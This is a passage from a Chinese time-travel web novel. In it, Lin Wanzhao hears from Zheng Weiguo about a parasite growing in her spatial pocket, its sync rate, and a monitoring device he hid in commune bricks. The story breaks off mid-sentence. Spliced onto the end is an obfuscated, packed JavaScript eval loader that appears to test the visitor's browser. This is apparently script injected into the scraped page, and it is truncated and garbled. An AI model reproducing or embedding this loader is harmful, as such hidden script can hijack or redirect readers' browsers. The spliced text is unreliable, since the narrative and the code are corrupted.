头,眼睛因为疼痛而泛出水光:“救我?”
“寄生体正在快速成长。”郑卫国的语气严肃起来,“按照这个速度,最多一个月,它就会彻底夺取空间的控制权。到那时,你会被挤出自己的空间,意识消散,身体变成空壳。”
他拿起监测仪,指着屏幕上的另一个数据:“看到这个数值了吗?这是寄生体与你的精神同步率。现在已经达到15%。超过30%,它就具备初步的自主行动能力。超过50%,你就危险了。”
林晚照盯着那个数字:15.7%。和她之前在训练程序里看到的7%完全不同。是程序错了,还是郑卫国的仪器更准?
“你怎么知道这些?”她问。
“因为我见过。”郑卫国的眼神黯淡了一瞬,“五年前,在云南,我搭档就是这样死的。寄生体夺取空间后,操控他的身体走到悬崖边,跳了下去。我们连抢救的机会都没有。”
他的声音里有真实的痛苦。林晚照能感觉到——那不是演的。
“你是……真正的037号?”她试探着问。
郑卫国摇头:“不。037号是蕾拉,你见过的。我是038号,她的继任者。”
蕾拉说过,郑卫国“不完全是卧底”。原来如此。
“那你为什么假装是‘守夜人’的卧底?”林晚照追问。
“为了接近你,也为了保护你。”郑卫国说,“‘守夜人’内部有分歧——一部分认为应该清除所有异常,包括被寄生的观测员。另一部分认为可以尝试救治。我属于后者。但我的立场不能公开,所以需要伪装。”
他重新拿起钢笔,在笔记本上快速画了个示意图:“‘灯塔’对寄生体了解很少,因为几乎所有病例都以观测员死亡告终。但我这些年私下研究,发现一个可能:如果观测员的精神力足够强,是有可能反向控制寄生体的。”
“反向控制?”
“对。”郑卫国点头,“把寄生体变成共生体,让它为你所用。这很危险,但也是唯一的生路。”
林晚照想起训练程序里的“共生体同步率”。程序判定的是共生,不是寄生。这和她自己的感觉一致——树苗没有恶意。
“你怎么知道我的同步率?”她问出关键问题。
郑卫国从包里又拿出个东西。那是个巴掌大的金属片,很薄,边缘有细密的纹路。
“这是‘锚点二号’,初代时空稳定器的改进型。”他说,“我把它混在建材里运到了红星公社。你摸过那些砖吧?”
林晚照想起砌墙时,她亲手传递过无数块砖。那些砖里,混着这个东西?
“它不仅是稳定器,也是监测器。”郑卫国继续说,“能持续收集你周围的时空数据,包括寄生体的生长状况。数据会定期上传到我的接收器。”
所以他知道树苗的存在。所以他知道同步率。
一切都说得通了。
“你为什么要帮我?”林晚照看着他,“我们素不相识。”
郑卫国沉默了很久。手电筒的光在墙上跳动,他的影子被拉得很长,微微晃动。
“因为蕾拉。”他最终说,“她失联前给我留了最后一条信息:‘如果我回不来,替我守护那些还在挣扎的观测员。’你是她失联后,我遇到的第一个新观测员。”
他顿了顿,声音更轻了:“而且,林晚照,你做的事……很好。真的很好。养猪场,那些村民,你让他们看到了希望。在时空中挣扎求生的人,不该是这样的结局。”
仓库里安静下来。远处传来猪舍那边陈大牛吆喝收工的声音,还有村民们扛着工具回家的脚步声。那些声音很真实,很踏实,是1975年冬天一个普通傍晚该有的声音。
林晚照看着郑卫国。他的表情很真诚,眼神里有种她之前没见过的疲惫和沧桑。这个人可能在说谎,但如果是谎,也太
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''